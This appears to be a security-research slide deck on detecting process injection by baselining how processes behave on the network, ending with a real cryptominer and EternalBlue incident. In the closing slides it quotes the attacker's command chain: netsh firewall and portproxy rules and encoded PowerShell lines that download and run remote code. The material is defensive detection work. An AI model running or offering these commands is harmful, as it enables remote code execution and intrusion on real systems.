




Network Anomalies - Detecting Process Injection



who.is

*Ofir Shen
Security Researcher
Akamai Hunt*



Why Process Injection?



Some history

Some history

1990s

CreateRemoteThread
IAT Hooking

Some history



CreateRemoteThread

IAT Hooking

SSDT Hooking

Some history



CreateRemoteThread

IAT Hooking

SSDT Hooking

Process Hollowing

APC Queue

Some history



**CreateRemoteThread
IAT Hooking**

SSDT Hooking

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APC Queue**

Reflective Injection

Some history



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CreateRemoteThread
IAT Hooking

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Process Hollowing
APC Queue

Reflective Injection


AtomBombing

Doppleganging

Process Ghosting


CreateRemoteThread

CLASSIC DLL INJECTION




- Trace function call to CreateRemoteThread
(or Nt variant)
- Verify DLL loaded using the PEB
- Exists as Event ID 8 in Sysmon

CreateRemoteThread




IAT Hooking




- Trace function call to CreateRemoteThread
(or Nt variant)
- Verify DLL loaded using the PEB
- Exists as Event ID 8 in Sysmon

- Verify addresses of exports/imports


CreateRemoteThread



IAT Hooking



Process Hollowing



- Trace function call to **CreateRemoteThread** (or Nt variant)
- Verify DLL loaded using the PEB
- Exists as Event ID 8 in Sysmon

- Verify addresses of exports/imports

- Compare **PEB.ImageBaseAddress** to **VAD.start**
- RWX Allocation
- Exists as Event ID 25 in Sysmon

Detection

Technique	Detection
CreateRemoteThread	CreateRemoteThread syscall, Process memory structs
IAT	Process memory structs
SSDT	Kernel memory struct
APC Queue	QueueUserAPC syscall
Reflective DLL	memory-protection related syscalls, RWX VAD

Drawback 1: reliance on tracing syscalls or
direct access to memory




Drawback 2: EDR bypasses are everywhere

BypassAV

This map lists the essential techniques to bypass anti-virus and EDR

as a reminder: it is highly recommended to read the articles related to manual techniques rather than open source tools which are more likely to be suspected by the anti-virus because of IOSs

Preview



EDRs.md	Updated EDRs.md	3 years ago
Parse.py	Parser	3 years ago
README.md	Update README.md	2 years ago
attivo.txt	Create attivo.txt	3 years ago
bitdefender.txt	Create bitdefender.txt	3 years ago
carbonblack.txt	Update carbonblack.txt	2 years ago
checkpoint-sandblast.txt	Create checkpoint-sandblast.txt	3 years ago
cortex.txt	Update cortex.txt	2 years ago
crowdstrike.txt	Create crowdstrike.txt	3 years ago
cylance.txt	Create cylance.txt	3 years ago
deepinstinct.txt	Create deepinstinct.txt	3 years ago

Network Packets don't lie



What would an attacker do?

What would an attacker do?



C&C Communication

What would an attacker do?



C&C Communication



Reverse Shell

What would an attacker do?



C&C Communication



Reverse Shell



Cryptomining

What would an attacker do?



C&C Communication



Reverse Shell



Cryptomining



Network Scan

What would an attacker do?



C&C Communication



Reverse Shell



Cryptomining



Network Scan

?

What would an attacker do?

 C&C Communication

 Reverse Shell

 Cryptomining

 Network Scan

?

How can we detect this on the network level?




Building a baseline for process communication

We got lots of data

- process-level communication

We can learn how a process normally behaves, and catch it when it deviates from its baseline



How does a process communicate?

How does a process communicate?

Tough question

process_name	ports_used	networks_seen_on	destination_ports
redis-server	9556	23	53, 80, 443, 1433, 1521, 2049, 3260, 5570, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 7000, 7001, 7002, 7003, 7379, 7380, 8089, 8888, 9877, 9997, 16379, 16380, 17000, 17001, 17002, 17003, 26379, 26380, 26381, 28995, 32768, 32772, 32774, 32776, 32778, 32780, 32786, 32788, 32792, 32794, 327...
postgres	1372	44	22, 23, 25, 53, 80, 88, 123, 139, 389, 443, 514, 636, 1025, 1123, 1277, 1521, 2024, 2049, 3082, 3260, 4001, 4506, 5432, 5433, 5434, 5439, 5666, 5672, 5814, 6237, 6443, 7005, 7180, 7432, 8060, 8080, 8082, 8100, 8140, 8181, 8250, 8443, 8888, 9876, 9988, 9999, 10000, 10001, 10002, 10003, 10004, 10015, ...
apache2	49118	44	21, 22, 25, 53, 80, 88, 111, 123, 135, 139, 161, 243, 389, 443, 445, 465, 514, 587, 636, 1027, 1191, 1430, 1433, 1521, 1524, 1636, 1771, 1812, 2049, 3000, 3001, 3128, 3306, 3307, 3336, 3633, 3997, 3998, 3999, 4261, 4949, 5000, 5001, 5002, 5004, 5005, 5006, 5007, 5008, 5009, 5010, 5012, 5013, 5014, 5...
dockerd	105	92	22, 53, 80, 88, 123, 135, 443, 445, 514, 1521, 2049, 2181, 2377, 2379, 3100, 3128, 3306, 4445, 4457, 4567, 4789, 4897, 5000, 5001, 5004, 5005, 5006, 5011, 5012, 5015, 5016, 5018, 5019, 5020, 5433, 5443, 5780, 5781, 5814, 6379, 6443, 6555, 7010, 7946, 8000, 8001, 8020, 8067, 8074, 8080, 8081, 8082, 8...
node	60759	175	21, 22, 25, 53, 80, 81, 82, 88, 95, 111, 123, 135, 137, 138, 139, 143, 161, 389, 443, 445, 449, 465, 514, 524, 525, 587, 636, 993, 1004, 1024, 1025, 1026, 1050, 1074, 1120, 1121, 1178, 1331, 1333, 1339, 1382, 1396, 1399, 1433, 1434, 1438, 1443, 1521, 1524, 1526, 1529, 1540, 1542, 1543, 1544, 1546, 1...
services.exe	1259	179	53, 80, 135, 389, 443, 1026, 1027, 1028, 1031, 1032, 1538, 1539, 1540, 1541, 1542, 1543, 1545, 1546, 1549, 1900, 3000, 3128, 5000, 5003, 8080, 8081, 8082, 8102, 8383, 8443, 8531, 9060, 9080, 9100, 9200, 17472, 47545, 49152, 49155, 49156, 49157, 49158, 49159, 49161, 49164, 49186, 49247, 49248, 49255, ...
w3wp.exe	51346	211	1, 7, 13, 21, 22, 23, 25, 30, 43, 49, 53, 70, 71, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 98, 99, 100, 101, 102, 104, 107, 110, 111, 118, 119, 135, 137, 138, 139, 143, 161, 162, 210, 252, 300, 304, 389, 399, 402, 442, 443, 444, 445, 446, 447, 448, 449, 451, 452, 454, 455, ...
explorer.exe	19263	227	2, 21, 22, 53, 80, 86, 104, 111, 135, 137, 138, 139, 161, 300, 389, 443, 445, 631, 635, 892, 990, 1003, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1039, 1045, 1052, 1059, 1066, 1070, 1073, 1076, 1079, 1080, 1086, 1087, 1093, 1095, 1100, 1102, 1137, 1143, 1144, 1147, 1159, 1180, 1181, 1185...



How does a process communicate?

process_name	ports_used
redis-server	9556
postgres	1372
apache2	49118

Classification into Port Groups

Most processes behave similarly in different networks, using the similar network protocols.

By associating similar ports with specific applications, we can give context to the algorithm and more easily find communication patterns.

filename	ports_used	port_groups	destination_ports	networks_seen_on
statview	40	High Port	49154, 49639, 49666, 49667, 49668, 49669, 49670, 49686, 49698, 49701, 49703, 49704, 49705, 49711, 49713, 49869, 49914, 50162, 50786, 51195, 53158, 53192, 53503, 55468, 56932, 57424, 58556, 58798, 59291, 59747, 61087, 61479, 61739, 62469, 63000, 63955, 64008, 64250, 64500, 64987	22
com.docker.proxy	61	RPC, High Port	135, 49155, 49156, 49157, 49461, 49610, 49616, 49667, 49668, 49669, 49670, 49671, 49742, 49818, 49834, 49999, 50286, 51145, 51206, 51361, 51466, 52465, 52932, 53088, 53102, 54819, 55392, 55436, 55451, 55859, 56634, 56763, 57709, 57908, 57957, 58264, 58680, 58886, 58923, 59183, 59277, 59314, 59500, 5...	18
ocspsvc	169	LDAP, High Port, Web/Proxy	389, 49182, 49407, 49424, 49447, 49516, 49584, 49657, 49684, 49763, 49766, 49790, 49850, 49853, 49899, 49926, 49927, 49930, 49931, 49947, 49951, 50305, 50405, 50473, 50629, 50755, 50936, 50984, 51090, 51112, 51303, 51327, 51477, 51491, 51537, 51561, 51574, 51607, 51679, 51690, 51763, 51952, 52498, 5...	18
epicgameslauncher	3492	Web/Proxy, High Port	443, 49152, 49155, 49162, 49163, 49174, 49176, 49182, 49196, 49197, 49198, 49211, 49213, 49217, 49218, 49219, 49226, 49227, 49237, 49254, 49261, 49262, 49264, 49267, 49269, 49271, 49273, 49276, 49292, 49295, 49297, 49298, 49304, 49306, 49309, 49310, 49313, 49314, 49320, 49333, 49334, 49336, 49337, 4...	8

Classification into Port Groups

App	Ports
Shell	22, 23, 992
DHCP	67, 68, 546, 547
Kerberos	88, 464, 543, 544
RPC	135, 593
LDAP	636, 389, 3268, 3269
SQL	1433, 1434, 1435
High Ports	49151 - 65535
...	

The full list can be found on
<https://www.akamai.com/blog/security-research/novel-detection-methodology-process-injection-using-network-anomalies>



Drawing solid conclusions

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How much data is “enough” to assume how a process communicates?

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Should all anomalies be treated the same? maybe some ports are more interesting than others?

Drawing solid conclusions

How much data is “enough” to assume how a process communicates?

If a process was seen communicate in a certain way in a single network, should we assume the communication is legitimate?

Should all anomalies be treated the same? maybe some ports are more interesting than others?

Can we hunt for anomalies of every process?

Ranking process stability

Process is inconsistent

Process is consistent

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* Examined all processes seen in 3 or more networks

Ranking process stability

Unstable
The process behaves differently in every network

Stable
The process behaves the same in every network

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Ranking process stability

Unstable
The process behaves differently in every network

Semi-Stable
The process is stable within the 1-49151 port range

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The process behaves the same in every network

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Ranking process stability

Nmap maintains a list of the most common ports, usable by the `--top-ports` parameter.

We used these lists to classify each process within our data.

Unstable

The process behaves differently in every network

Nmap-top-12

The process is stable within the top-12 port range

Nmap-top-25

The process is stable within the top-25 port range

Nmap-top-100

The process is stable within the top-100 port range

Semi-Stable

The process is stable within the 1-49151 port range

Stable

The process behaves the same in every network



Process is inconsistent



Process is consistent

* Examined all processes seen in 3 or more networks

Is this methodology any good?

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Pros

- No. of networks thresholds gives sufficient data (amount + variation)
- Number of communication sessions won't affect judgement

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Pros

- No. of networks thresholds gives sufficient data (amount + variation)
- Number of communication sessions won't affect judgement

Cons

- Most processes don't appear in 3 or more networks
- Popularity of port group is missing

Ranking process stability - support and confidence


Support = frequency of an itemset in the database.

Confidence = reliability of the relationship between two itemsets in an association rule.

$$\text{Support (A)} = \frac{\text{Number of transaction in which A appears}}{\text{Total number of transactions}}$$

$$\text{Confidence (A} \rightarrow \text{B)} = \frac{\text{Support(AUB)}}{\text{Support(A)}}$$

Support



If out of 1000 transactions, 300 are of apples

$$\text{Support(apples)} = \frac{300}{1000} = 0.3$$



Confidence



Out of 300 apples, 150 are red



$$\text{Confidence(apples} \rightarrow \text{red apples}) = \frac{150}{300} = 0.5$$

Ranking process stability - support and confidence


In our case, each process will have a **support** value, which will tell how much data we have about a process.

The **confidence** will show the statistics of how frequent a process uses each port group.


filename	port_group	support	confidence
sqlservr.exe	SQL	0.0030933565	0.6523437500
sqlservr.exe	OTHER	0.0030933565	0.3085937500
sqlservr.exe	High Port	0.0030933565	0.0390625000

Data point is a distinct row of: [host, process, port_group]

Building a sliding window baseline



Building a sliding window baseline



Building a sliding window baseline

WITH CONNECTIONS AS (

SELECT process,

CASE WHEN destination_port IN (22, 23, 992) THEN "Shell"

CASE WHEN destination_port IN (67, 68, 546, 547) THEN "DHCP"

CASE WHEN destination_port IN (137, 138, 139) THEN "NetBIOS"

...

END AS port_group

FROM NEW_CONNECTIONS

),

Building a sliding window baseline

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```
...
```

```
END AS port_group
```

```
FROM NEW_CONNECTIONS
```

FILTERED_BASELINE AS (

```
SELECT process, support, allowed_port_groups, port_group, confidence
```

```
FROM BASELINE
```

```
AND support > 0.005 # Here we can play with the support
```

```
),
```

Building a sliding window baseline

WITH CONNECTIONS AS (

```
SELECT process,
```

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```
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```

* Higher support - less but more reliable incidents



Building a sliding window baseline

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```
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...
```

END AS port_group

FROM NEW_CONNECTIONS

FILTERED_BASELINE AS (

```
SELECT process, support, allowed_port_groups, port_group, confidence  
FROM BASELINE
```

AND support > 0.005 # Here we can play with the support

SELECT process, destination_port, port_group, ...

FROM FILTERED_BASELINE

JOIN CONNECTIONS ON (FILTERED_BASELINE.process = CONNECTIONS.process)

WHERE CONNECTIONS.port_group NOT IN (SELECT * FROM BASELINE.allowed_port_groups)

* Higher support - less but more reliable incidents



Building a sliding window baseline

WITH CONNECTIONS AS (

```
SELECT process, ...  
CASE WHEN destination_port IN (22, 23, 992) THEN "Shell"  
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...
```

END AS port_group

FROM NEW_CONNECTIONS

FILTERED_BASELINE AS (

```
SELECT process, support, allowed_port_groups, port_group, confidence  
FROM BASELINE  
AND support > 0.005 # Here we can play with the support
```

),

```
SELECT process, destination_port, port_group, ...  
FROM FILTERED_BASELINE  
JOIN CONNECTIONS ON (FILTERED_BASELINE.process = CONNECTIONS.process)  
WHERE CONNECTIONS.port_group NOT IN (SELECT * FROM BASELINE.allowed_port_groups)  
OR FILTERED_BASELINE.confidence < 0.01 # Here we can adjust the confidence
```

* Higher support - less but more reliable incidents



Dealing with False Positives



Dealing with False Positives

1. Internal proxy servers
2. DNS translations
3. Domain Authentication
4. Version differences
5. Network-wide configuration



customer	process_name	destination_ports	port_groups	level	anomaly
----------	--------------	-------------------	-------------	-------	---------

wa_3rd_party_host_64	[80, 443]	Web/Proxy	Stable	1111	
----------------------	-----------	-----------	--------	------	--

customer	process_name	destination_ports	port_groups	level	anomaly
	wa_3rd_party_host_64	[80, 443]	Web/Proxy	Stable	1111
Row	source_process	destination_port	destination_domain	count	
1	wa_3rd_party_host_64	443	www.microsoft.com	56871	
2	wa_3rd_party_host_64	80	technet.microsoft.com	34239	
3	wa_3rd_party_host_64	443	technet.microsoft.com	34005	
4	wa_3rd_party_host_64	80	www.catalog.update.microsoft.com	24572	
5	wa_3rd_party_host_64	443	www.catalog.update.microsoft.com	24502	
6	wa_3rd_party_host_64	80	ocsp.digicert.com	3615	
7	wa_3rd_party_host_64	80	ocsp.msocsp.com	147	
8	wa_3rd_party_host_64	80	oneocsp.microsoft.com	145	
9	wa_3rd_party_host_64	80	amcdn.msftauth.net	21	
10	wa_3rd_party_host_64	80	crl3.digicert.com	19	
11	wa_3rd_party_host_64	443	amcdn.msftauth.net	19	
12	wa_3rd_party_host_64	80	crl4.digicert.com	17	
22	wa_3rd_party_host_64	1111	null		3

Hunt Team, in reviewing the provided information it appears that the port 1111 traffic is used for public internet access gateways. Most likely people are hitting a logon page to provide guest internet access.

Nomadix Inc:

[Hotel & MDUs Networking Technology Solutions | Nomadix](http://www.nomadix.com/Products/Hotel-MDUs.aspx)



Dealing with False Positives

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Solutions:

1. Check if behavior is common
 - a. by other processes
 - AND
 - b. by other hosts
 - AND
 - c. happens for a long time

Dealing with False Positives

1. Internal proxy servers
2. DNS translations
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4. Version differences
5. Network-wide configuration

Solutions:

1. Check if behavior is common
 - a. by other processes
 - AND
 - b. by other hosts
 - AND
 - c. happens for a long time
2. Learn from investigated incidents and allow specific behaviors

A real world scenario

A real world scenario

Using the new method, we detected anomalous communications on a new Hunt customer

C:\Windows\System32\SearchFilterHost.exe
C:\Windows\System32\SearchProtocolHost.exe
C:\Windows\System32\ctfmon.exe
C:\Windows\System32\WUDFHost.exe
C:\Windows\System32\wuauctl.exe

A real world scenario

Using the new method, we detected anomalous communications on a new Hunt customer

C:\Windows\System32\SearchFilterHost.exe
C:\Windows\System32\SearchProtocolHost.exe
C:\Windows\System32\ctfmon.exe
C:\Windows\System32\WUDFHost.exe
C:\Windows\System32\wuauctl.exe

All legit processes with injected payload

Scanned large segments of network using SMB


The screenshot shows a security analysis interface. At the top, there's a circular progress bar with the number '1' and '/71' inside it. Below the progress bar, there's a green checkmark icon and a 'Community Score' button. To the right, a detailed view of a file is shown. The file is identified as 'File distributed by Microsoft' with the SHA256 hash 'db15e374e26e351561c5a6dcc5822afb7cff2c373761266520193e89dfac6855'. The file name is 'WUDFHost.exe'. Below the file name, there are several blue tabs labeled 'peexe', 'assembly', 'checks-disk-space', 'runtime-modules', and 'direct-cpu-clock-access'. The 'assembly' tab is currently selected.

A real world scenario

As you can see, none of them should be using SMB

process_name	destination_ports	port_groups
SearchFilterHost.exe	443	Web/Proxy
wudfhost.exe	80, 443, 1010, 1028, 1233, 4570, 4571, 4571, 4990, 7250, 8567, 9999, 10123, 15550, 15551, 19000, 19002, 19003, 19004, 19020, 19134, 19135, 19136, 19137, 19138, 21192, 24030, 24343, 26079, 35843, 42030, 52000, 53000, 53001, 53002, 53003, 53004, 53005, 53006, 53007, 53008, 53009, 53010, 53011, 53011,	High Port, OTHER, Web/Proxy, ...
wuauct.exe	80, 389, 443, 3128, 6082, 8080, 8081, 8088	LDAP, OTHER, Web/Proxy
SearchProtocolHost.exe	21, 80, 389, 443, 800, 1433, 3128, 8081, 9154, 14404, 15871, 18689, 30147, 33348, 35848, 37469, 40296, 45067, 49157, 49254, 49668, 49670, 52953, 54061, 54401, 54936, 55372, 55891, 56008, 57350, 57730, 57829, 58015, 58796, 59277, 60130, 60365, 60628, 61912, 61941, 63404, 64293, 64597, 64685, 65521,.....	High Port, LDAP, OTHER, Web/...
ctfmon.exe	80, 443, 3128	Web/Proxy

A real world scenario




Action	Source	Destination	Dest. Port	Count
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			
Allowed	 [REDACTED]  [REDACTED]	 [REDACTED]	445 TCP	1
	wuauctl C:\Windo...uct.exe AUTORIDA...\\SISTEMA			

A real world scenario

The investigation continues ..

C:\Windows\NetworkDistribution\svchost.exe
C:\Windows\System32\dllhostex.exe

Found on 2 hosts



A real world scenario

The investigation continues ..

C:\Windows\NetworkDistribution\svchost.exe
C:\Windows\System32\dlhostex.exe



Found on 2 hosts

62 / 72

① 62 security vendors and no sandboxes flagged this file as malicious

Follow Reanalyze Download Similar More

7d493431ecf64b19a5f950b6c4f73edbf6581d4481c70eae5d33385e41ba48cd
dlhostex.exe

Size 1.83 MB | Last Analysis Date 2 months ago

peexe assembly checks-cpu-name runtime-modules detect-debug-environment long-sleeps 64bits

Community Score 0

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 3

Crowdsourced YARA rules ①

- Matches rule MAL_XMR_Miner_May19_1 from ruleset crime_nash0 at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects Monero Crypto Coin Miner
- Matches rule MALWARE_Win_CoinMiner02 from ruleset malware at https://github.com/ditekshen/detection by ditekShen
 - ↳ Detects coinmining malware
- Matches rule CoinMiner_Strings from ruleset pua_cryptocoин_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects mining pool protocol string in Executable
- Matches rule MacOS_Cryptominer_Generic_3331207 from ruleset MacOS_Cryptominer_Generic at https://github.com/elastic/protections-artifacts by Elastic Security
 - ↳ Detects command line parameters often used by crypto mining software
- Matches rule PUA_Crypto_Mining_CommandLine_Indicators_Oct21 from ruleset pua_cryptocoин_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects command line parameters often used by crypto mining software

A real world scenario

The investigation continues ..

C:\Windows\NetworkDistribution\svchost.exe
C:\Windows\System32\dllhostex.exe



Found on 2 hosts

62 / 72 security vendors and no sandboxes flagged this file as malicious

7d49341ecf64b19a5f950b6c4f73e6bf6581d4481c70eae5d33385e41ba48cd
dllhostex.exe

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 3

Crowdsourced YARA rules

- Matches rule MAL_XMR_Miner_May19_1 from ruleset crime_nansh0 at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects Monero Crypto Coin Miner
- Matches rule MALWARE_Win_CoinMiner02 from ruleset malware at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects coinmining malware
- Matches rule CoinMiner_Strings from ruleset pua_cryptocoins_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects mining pool protocol string in Executable
- Matches rule MacOS_Cryptominer_Generic_33312907 from ruleset MacOS_Cryptominer_Generic at https://github.com/elastic/protections-artifacts by Elastic Security
 - ↳ Detects command line parameters often used by crypto mining software
- Matches rule PUA_Crypto_Mining_CommandLine_Indicators_Oct21 from ruleset pua_cryptocoins_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects command line parameters often used by crypto mining software

63 / 70 security vendors and 4 sandboxes flagged this file as malicious

85b936960fbe5100c170b77e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5
Eter.exe

Community Score

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 40+

Crowdsourced YARA rules

- Matches rule INDICATOR_TOOL_EXP_EternalBlue from ruleset indicator_tools at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects Windows executables containing EternalBlue exploitation artifacts
- Matches rule INDICATOR_TOOL_EXP_EternalBlue from ruleset indicator_tools at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects Windows executables containing EternalBlue exploitation artifacts

A real world scenario

The investigation continues ..

C:\Windows\NetworkDistribution\svchost.exe
C:\Windows\System32\dllhostex.exe

Found on 2 hosts

Script

62 / 72

① 62 security vendors and no sandboxes flagged this file as malicious

Follow Reanalyze Download Similar More

7d49341ecf64b19a5f950b6c4f73e6bf6581d4481c70eae5d33385e41ba48cd
dllhostex.exe

peexe assembly checks-cpu-name runtime-modules detect-debug-environment long-sleeps 64bits

Size 1.83 MB Last Analysis Date 2 months ago EXE

Community Score

Detection Details Relations Behavior Content Telemetry Community 3

Crowdsourced YARA rules

- Matches rule MAL_XMR_Miner_May19_1 from ruleset crime_nansh0 at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects Monero Crypto Coin Miner
- Matches rule MALWARE_Win_CoinMiner02 from ruleset malware at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects coinmining malware
- Matches rule CoinMiner.Strings from ruleset pua_cryptocoins_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects mining pool protocol string in Executable
- Matches rule MacOS_Cryptominer_Generic_33312907 from ruleset MacOS_Cryptominer_Generic at https://github.com/elastic/protections-artifacts by Elastic Security
 - ↳ Detects command line parameters often used by crypto mining software
- Matches rule PUA_Crypto_Mining_CommandLine_Indicators_Oct21 from ruleset pua_cryptocoins_miner at https://github.com/Neo23x0/signature-base by Florian Roth (Nextron Systems)
 - ↳ Detects command line parameters often used by crypto mining software

63 / 70

① 63 security vendors and 4 sandboxes flagged this file as malicious

Follow Reanalyze Download Similar More

85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5
Eter.exe

peexe malware checks-disk-space detect-debug-environment idle long-sleeps checks-user-input spreader

Size 126.00 KB Last Analysis Date 1 day ago EXE

Community Score

Detection Details Relations Behavior Content Telemetry Community 40+

Crowdsourced YARA rules

- Matches rule INDICATOR_TOOL_EXP_EternalBlue from ruleset indicator_tools at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects Windows executables containing EternalBlue exploitation artifacts
- Matches rule INDICATOR_TOOL_EXP_EternalBlue from ruleset indicator_tools at https://github.com/ditekshen/detection by ditekSHen
 - ↳ Detects Windows executables containing EternalBlue exploitation artifacts

```
cmd /c echo ljtDkRPy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vqeR.exe>c:/windows/temp/p.bat&
```



```
cmd /c echo ljtDkRPy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
```

```
cmd /c echo ljtDkRPy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
```

```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
```



```
cmd /c echo ljtDkRpy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAD
oALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&
```

```
[TEX] (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
```



```
cmd /c echo ljtDkRPy >> c:\windows\temp\msInstall.exe&
echo copy /y c:\windows\temp\msInstall.exe c:\windows\vgeR.exe>c:/windows/temp/p.bat&
echo "*" >c:\windows\temp\eb.txt&
echo netsh interface ipv6 install >>c:/windows/temp/p.bat &
echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo netsh firewall add portopening tcp 65533 DNSS3 >>c:/windows/temp/p.bat&
echo netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&
echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e
